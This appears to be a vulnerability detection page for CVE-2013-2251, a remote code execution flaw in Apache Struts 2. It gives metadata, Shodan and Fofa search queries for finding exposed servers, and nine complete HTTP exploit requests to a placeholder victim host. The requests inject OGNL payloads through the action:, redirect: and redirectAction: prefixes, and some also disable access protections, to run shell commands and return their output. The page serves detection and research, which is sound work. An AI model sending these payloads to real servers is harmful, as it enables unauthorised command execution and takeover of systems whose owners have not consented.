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CVE-2013-2251: Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution

Title	Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution
Author	exploitation,dwisiswant0,alex
Severity	Critical
Impact	This vulnerability can lead to remote code execution, allowing attackers to take control of the affected system.
Remediation	Developers should immediately upgrade to Struts 2.3.15.1 or later.
CVSS Score	9.3
EPSS Score	0.94328
CVE ID	CVE-2013-2251
CWE ID	CWE-20
Shodan Query	http.html:"apache struts"http.title:"struts2 showcase"http.html:"struts problem report"
Fofa Query	body="struts problem report"title="struts2 showcase"body="apache struts"
Tags	cve2013 cve rce struts apache ognl kev vkev vuln

🔍 Vulnerability Description

In Struts 2 before 2.3.15.1 the information following “action:”, “redirect:”, or “redirectAction:” is not properly sanitized and will be evaluated as an OGNL expression against the value stack. This introduces the possibility to inject server side code.

🌐 HTTP Request

GET /login.action?redirect:$\{\%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
Accept: */*
Accept-Encoding: gzip
Connection: close

GET /index.action?redirect:$\{\%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Mobile/15E148 Safari/604.1
Accept: */*
Accept-Encoding: gzip
Connection: close

GET /index.action?redirect%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15
Accept: */*
Accept-Encoding: gzip
Connection: close

GET /index.action?action:$\{\%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip
Connection: close

GET /login.action?redirectAction:$\{\%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/4.0
Accept: */*
Accept-Encoding: gzip
Connection: close

GET /index.action?redirectAction:$\{\%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15
Accept: */*
Accept-Encoding: gzip
Connection: close

GET /login.action?action:$\{\%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip
Connection: close

GET /index.action?redirectAction%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56
Accept: */*
Accept-Encoding: gzip
Connection: close

GET /index.action?action%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15
Accept: */*
Accept-Encoding: gzip
Connection: close

📚 References

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2013/CVE-2013-2251.yaml

🦈 Packet Capture: ⬇️ Download cve-2013-2251.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.

Snort 2 Rule

N/A

Snort 3 Rule

N/A